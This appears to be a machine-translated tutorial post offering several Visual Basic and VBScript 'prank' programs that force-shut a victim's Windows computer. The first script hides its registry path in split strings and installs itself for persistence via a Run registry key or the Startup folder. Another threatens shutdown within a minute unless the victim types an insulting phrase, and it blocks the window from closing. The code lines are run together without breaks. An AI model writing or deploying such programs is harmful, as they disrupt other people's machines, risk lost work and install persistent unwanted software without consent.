VB shutdown spoof applet one:
Dim fs, dirwin, c,Wll, str,strr,rSet fs = CreateObject("Scripting.FileSystemObject") Set dirwin = fs.GetSpecialFolder(1)Set Wll = WScript.CreateObject("WScript.Shell")Set c = fs .GetFile(WScript.ScriptFullName) str ="HK"&"LM/SOFT"&"WARE/Micr"&"osoft/Win"&"dows/Curren"&"tVersion/R"&"un/wxb"if (fs.FileExists(dirwin&"/wxb .vbs")) Thencall Show_And_Do("reg")elseif (fs.FileExists("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")) Thencall Show_And_Do("Startup")else On Error Resume Nextstrr=""Wll.RegWrite str, "C:/WINDOWS/system32/wxb.vbs", "REG_SZ "strr=Wll.Regread (str)if strr="" thenc.Copy("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs") elsec.Copy(dirwin&"/wxb.vbs") end if end if sub Show_And_Do(s)dim fr = MsgBox ("Warning: Please do not touch my computer! " & Chr(13) & Chr(10) & "Confirm -> I will ask for permission first next time" & Chr(10) & "Cancel -> I don't care how you like it!", 4145, "MsgBox Example")If r = 1 Then if s="Startup" thenset f = fs.GetFile("C:/Documents and Settings/All Users/Start Menu/Programs/Startup/wxb.vbs")f.Delete()elseif s="reg" thenWll.RegDelete strset f = fs.GetFile(dirwin&"/wxb.vbs")f.Delete()end if Elsewll.run "Shutdown.exe -s -f -t 0"End Ifend sub
The above is a bit complicated, so let’s do a slightly simpler one
The code is as follows:
Option ExplicitConst SM_CLEANBOOT = 67Const EWX_LOGOFF = 0Const EWX_SHUTDOWN = 1Const EWX_REBOOT = 2Const EWX_FORCE = 4Private Declare Function ExitWindowsEx Lib "user32" (ByVal uFlags As Long,ByVal dwReserved As Long) As LongPrivate Sub Form_Load() Call ExitWindowsEx(EWX_SHUTDOWN, 0)End Sub
When you can use a simpler way of writing
Simply enter the following code:
Private Sub Form_Load()Shell "cmd /c shutdown -s -t 30"Rem The -t 0 behind it means a shutdown in 0 seconds. If -t 0 is removed, the default is a shutdown in 30 seconds. End Sub
Method three:
Private Sub Command1_Click()If Text1 = "I am a pig" ThenShell "cmd.exe /c shutdown -a"MsgBox "Haha let you go!", 64, "Prompt"EndEnd IfEnd SubPrivate Sub Form_Load()MsgBox "Haha you If you are tricked, please tell me you are a pig, otherwise your computer will be shut down in 1 minute.", 48, "Prompt" Shell "cmd.exe /c shutdown -s -t " & 60, vbHideEnd SubPrivate Sub Form_Unload(Cancel As Integer)g = MsgBox("Want to close me???", vbOKCancel + vbQuestion, "Close the window")If g = vbOK ThenCancel = 11MsgBox "Haha, can you close it? Drop me and call me a pig", 64, "Prompt"End IfIf g = 2 ThenCancel = 11End IfEnd Sub